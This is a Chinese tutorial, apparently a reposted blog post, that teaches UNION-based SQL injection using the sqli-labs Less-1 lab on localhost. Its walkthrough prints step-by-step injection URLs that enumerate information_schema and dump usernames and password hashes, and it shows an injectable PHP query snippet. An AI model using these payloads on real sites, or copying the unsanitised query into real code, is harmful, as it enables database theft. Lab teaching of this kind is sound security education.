SQL注入-联合注入

一、SQL语句基础知识

首先打开PHP的数据库,如下图所示,再在终端中输入后连接到数据库
image

点击查看代码
mysql -u root -p

1.1 MySQL的基础语句

1.1.1 创造数据库

用来创建一个数据库的语句如下:

点击查看代码
create database 数据库名;

image

1.1.2 查看现有的数据库

进行查看当前的所有数据库的语句如下:

点击查看代码
show databases;

image
可以看到我们刚才创立的test2也在其中

1.1.3 使用数据库

语句如下:

点击查看代码
use 数据库名;

image
根据提示,当前数据库已经进行了更换

1.1.4 创建表users,其中包含两个字段id,name

进行创建表和其中的字段的语句如下:

点击查看代码
create table 表名(字段名,字段名);

image

1.1.5 查看当前数据库下的所有表名

进行查看当前数据库下中含有的表名的语句如下:

点击查看代码
show tables;

image

1.1.6 插入数据

插入数据的语句如下:

点击查看代码
insert  into 表名 value(字段名,字段名);

image

1.1.7 查询语句

在不知道任何条件时,语句如下:

点击查看代码
SELECT 要查询的字段名 FROM 库名.表名
在有一条已知条件时,语句如下:
点击查看代码
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = '已知条件的值'
在有两条已知条件时,语句如下:
点击查看代码
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = '已知条件1的值' AND 已知条件2的字段名 = '已知条件2的值'

image

1.2 limit语句的用法

limit的使用格式为limit m,n ,其中m指记录开始的位置,m为0时表示从第一条记录开始读取;n指取n条记录。例如:limit 0,1表示从第一条记录开始,去一条记录。
接下来会分别展示使用和不使用的区别:
image
通过对比我们可以发现,当使用limit的时候可以限制我们想要看到的数据个数;而不使用的时候,所有的数据一起出现了。所以在注入的过程中,合理地使用“limit”是要掌握的一项技能。

1.3 需要掌握的几个函数

  • database():当前网站使用的数据库
  • version():当前MySQL的版本
  • user():当前MySQL的用户

1.4 注释符

在MySQL中,常见的注释符的表达方式有:“#”,“--空格”或“/**/”

1.5 内联注释

内联注释的定义:内联注释中,大于MySQL版本号的数字,中间的字符串被注释。小于等于则被正常执行。没有指定版本号,MySQL 会无条件执行注释中的内容。
内联注释的形式为/* !code */。内联注释可以用于整个SQL语句中,用来执行SQL语句.

点击查看代码
select * from /* ! where 1 */
如:

image

二、MySQL中与SQL注入漏洞相关的知识点

MySQL在数据库中放入了一个名为“information_schema”的数据库。该库中含有三个表名分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库,只需记住字段名为SCHEMA_NAME。如图:

image

TABLES表存储该用户创建的所有数据库的库名和表名。需要记住该表中数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。如图:

image

COLLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。需要记住该表中记录数据库库名、表名和字段名分别为TABLE_SCHEMA、TABLE_NAME和COLLUMN_NAME

image

三、 SQL注入简介

SQL注入是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数被带入数据库查询,攻击者可以通过构造不同的语句来实现对数据库的任意操作。
我们看看在PHP中链接MySQL数据库并进行查询的一段代码。

点击查看代码
<?phpinclude "db.php";$id = $_GET['id'];$result = select("select title,content from contents where id = $id;");echo (json_encode(isset($result[0])?$result[0]:[]));
假设我们传入的参数是1,此时查询的语句就应该是"select title,content from contents where id = 1"

四、SQL注入原理

满足以下条件:

  • 参数用户可控
  • 参数被带入数据库查询
    当传入的参数ID为1'时,数据库执行代码
点击查看代码
select * from users where id = 1'
因不符合规范所以会报错。当传入的参数ID为and 1=1时,执行的SQL语句如下:
点击查看代码
select * from users where id = 1 and 1 = 1
因为1=1为真,所以会返回与id = 1相同的界面,当传入1 = 2时,因为1=2为假,所以返回假,页面就会弹出与id = 1不一样的界面,所以可通过以上两个方法进行判断是否可以用SQL语句进行攻击。但是要注意的是要分为字符型和整数型。

五、联合注入(这里以SQL-labs lesson1为例)

打开靶场,显示如下图所示,让我们输入id。

image

打开hackbar,进行构造url,加上id=1,发现页面有回显,此时尝试判断是否存在SQL注入。

image

进行单引号闭合后发现确实存在SQL注入。

image

接下来判断是字符型还是整数型。构造url,发现页面回显

点击查看代码
http://localhost:85/Less-1/?id=1' and '1'='1

image

(这里我是用整数型进行判断的,所以不放字符型的了)
接下来通过注释符进行将SQL语句后面的内容注释掉,使其查询我们的语句(这里使用的是-- +)

image

随后利用"order by"来进行判断目前所在的数据库中字段名的个数,当输入order by 3的时候页面回显。而order by 4的时候页面报错。构造的url应该是:

点击查看代码
http://localhost:85/Less-1/?id=1' order by 4 -- +

image

在判断有三列时,此时就可以利用union进行查询,但要注意的是需要将id改为一个非常大的数或负数,防止我们的页面不回显。url为:

点击查看代码
http://localhost:85/Less-1/?id=-1' union select 1,2,3  -- +

image

之后判断当前所在的数据库的名字,以及当前的用户,构造url:

点击查看代码
http://localhost:85/Less-1/?id=-1' union select 1,user(),database()  -- +

image

然后遍历所有库数据库,得到数据库,“root”,构造url:

点击查看代码
?id=-1' union select 1,schema_name,3 from information_schema.schemata limit 9,1 --+

image


之后通过遍历库中的表进行得到想要的表"users",构造url:

点击查看代码
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema = "root" limit 1,1 --+

image

然后在已知的表名和库名中,爆破字段名“user”,“password”,构造url:

点击查看代码
?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema = "root" and table_name = "users" limit 3,1 --+

image

然后获得账户和密码:

点击查看代码
http://localhost:85/Less-1/
?id=-1' union select 1,user,password from root.users limit 0,1 --+

image


得到的密码为hash值,可以在(Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online)该网站中进行一个碰撞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/917397.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实用指南:【JavaEE】多线程案例(一)

实用指南:【JavaEE】多线程案例(一)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mon…

网站开发和c语言反网站搭建一条龙

MySQL 5.5以上版本 与之前的版本安装出入有些区别&#xff1a; 下面是安装过程mysql5.6 下载地址&#xff1a;ftp://mirror.switch.ch/mirror/mysql/Downloads/MySQL-5.6/一&#xff1a;卸载旧版本使用下面的命令检查是否安装有MySQL Serverrpm -qa | grep mysql有的话通过下面…

架构架构设计师备考第32天——数据库交互NoSQL

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

交互:在终端中输入用户信息

交互:在终端中输入用户信息Python可以允许用户在终端中输入一些信息。 Input功能 接受输入字符串 # -*- coding: utf-8 -*- name = input("Please input your name:") print("Hello " + name + &…

传奇三端互通新开服网站百度非企推广开户

这个算法来自LINUX的源码&#xff0c;下面带有大神的解析&#xff0c;自己在RTC实验中也使用了&#xff0c;不用月份表&#xff0c;润平年的处理&#xff0c;几行就可得出结果&#xff0c;以下是程序和大神的解析Linux源码中的mktime算法解析我们知道&#xff0c;从CMOS中读出来…

php网站开发系统wordpress 引用网页

近日&#xff0c;紫光云技术有限公司在天津举行主题为“产业城市 擎领未来”的IMPACT2019紫光云峰会&#xff0c;深度阐释打造产业数字引擎的理念和实践&#xff0c;并为unI X云创中心揭牌&#xff0c;发布紫光云芯片产业数字引擎。 天津市人民政府副秘书长杨明远为大会致辞会上…

爱站网关键字挖掘wordpress 小组

Java中new一个对象时&#xff0c;JVM到底做了什么&#xff1f; 在Java编程中&#xff0c;new关键字是我们创建对象的最常用方式。但你是否想过&#xff0c;当你写下new MyClass()时&#xff0c;Java虚拟机&#xff08;JVM&#xff09;到底在背后做了哪些工作&#xff1f;今天&…

电脑迁移技巧:适用于 Windows 10/11 的免费磁盘克隆优秀的工具

电脑迁移技巧:适用于 Windows 10/11 的免费磁盘克隆优秀的工具pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Co…

详细介绍:Windows安装PostgreSQL入门操作手册

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

主播网站建立商务网站管理的主要内容数据管理

最近在微调 ChatGLM3-6b 时&#xff0c;训练好模型之后&#xff0c;调用inference_hf.py函数验证模型的时候报了如下错误&#xff0c;下面是解决方案。 我在训练时使用的是ptuning_v2.yaml配置文件&#xff0c;训练运行代码如下&#xff1a; CUDA_VISIBLE_DEVICES1 python fi…

东莞市公租房申请网站-建设网微信积分商城

Apache Doris 在查询优化方面通过结合 RBO 和 CBO,实现了对简单和复杂查询的高效优化。RBO 负责处理常量折叠、子查询改写和谓词下推等基础优化操作,而 CBO 则在 Join Reorder 等复杂场景中发挥作用。这种结合策略使得 Apache Doris 能够在面对各种查询场景时,既能保证优化过…

Java学习日记9.18

9.18 数据类型 整数扩展 进制 二进制: ob 十进制: 没有 八进制: 0 十六进制: 0x int i = 10 int i1 = 010 int i2 = 0x10输出结果将会是 10 8 16浮点数拓展 float 定义的小数必须在后边加一个f或F (因为小数默认的…

在PVE中实现宿主机与虚拟机同网段通信的配置方案

在PVE中实现宿主机与虚拟机同网段通信的配置方案本文内容由笔者根据遇到的问题口述,并通过ai整理而成供,遇到同样问题的同学参考。问题背景 在配置PVE服务器的过程中发现,当网络环境使用VLAN时,如果PVE宿主机的管理…

一种CDN动态加速首次访问加速方法

本文分享自天翼云开发者社区《一种CDN动态加速首次访问加速方法》.作者:蒋辉 具体方案如下: 1. 对于全站加速,节点内部的探测采用的非请求触发式探测(已实现),在首次访问时,使用配置的顶层父方案作为回源节点回源…

CF1716题解

CF1716A 不难发现,只保留一个1即可,其余的怎么变都可以,所以变成k个后,直接取max在序列中有1的情况下必然可以构造出来点击查看代码 #include<bits/stdc++.h> using namespace std; const int N=55; int t,n…

使用vosk模型进行语音识别

模型分享: 通过网盘分享的文件:vosk-model-small-cn-0.22.zip链接: https://pan.baidu.com/s/1FEH1xwDucdC3cEZSAyDOwQ?pwd=k8p5 提取码: k8p5 通过网盘分享的文件:vosk-model-cn-0.22.zip链接: https://pan.baidu…

国外 网站设计中国住房和城乡建设部网站资质查询

文章目录 前言一、技术是推动社会发展的基本动力1.人为什么能成为万物之长呢&#xff1f;2.人为什么要发明工具&#xff0c;进行进化呢&#xff1f;3.人是如何发明工具的&#xff1f;4.为什么要有不同的岗位和行业&#xff1f; 二、计算机(操作系统)发展的基本脉络1.第一台计算…

网站做实名验证成都广告设计培训班

世界上只有一种英雄主义&#xff0c;就是看清生活的真相之后依然热爱生活。对于 Lombok 我相信大部分人都不陌生&#xff0c;但对于它的实现原理以及缺点却鲜为人知&#xff0c;而本文将会从 Lombok 的原理出发&#xff0c;手撸一个简易版的 Lombok&#xff0c;让你理解这个热门…

AI Agent如何重塑人力资源管理?易路iBuilder平台实战案例深度解析

来源|商学院9月刊 文|吕笑颜 ID | BMR2004 导读:本文深度报道了易路iBuilder作为国内首个HR垂直AI Agent操作系统,如何通过39个智能体全面重构人力资源管理价值链。文章基于对易路CEO王天扬的专访,系统阐述了iBui…

docker-compose + macvlan + Elasticsearch - 9.1.4 + Kibana - 9.1.4

操作过程创建工作目录mkdir -p /opt/porsCloud/24-elastic进入工作目录cd /opt/porsCloud/24-elastic创建必要的目录mkdir es_conf es_data es_logs es_plugins kibana_conf kibana_data赋予权限chown -R 1000:0 es_co…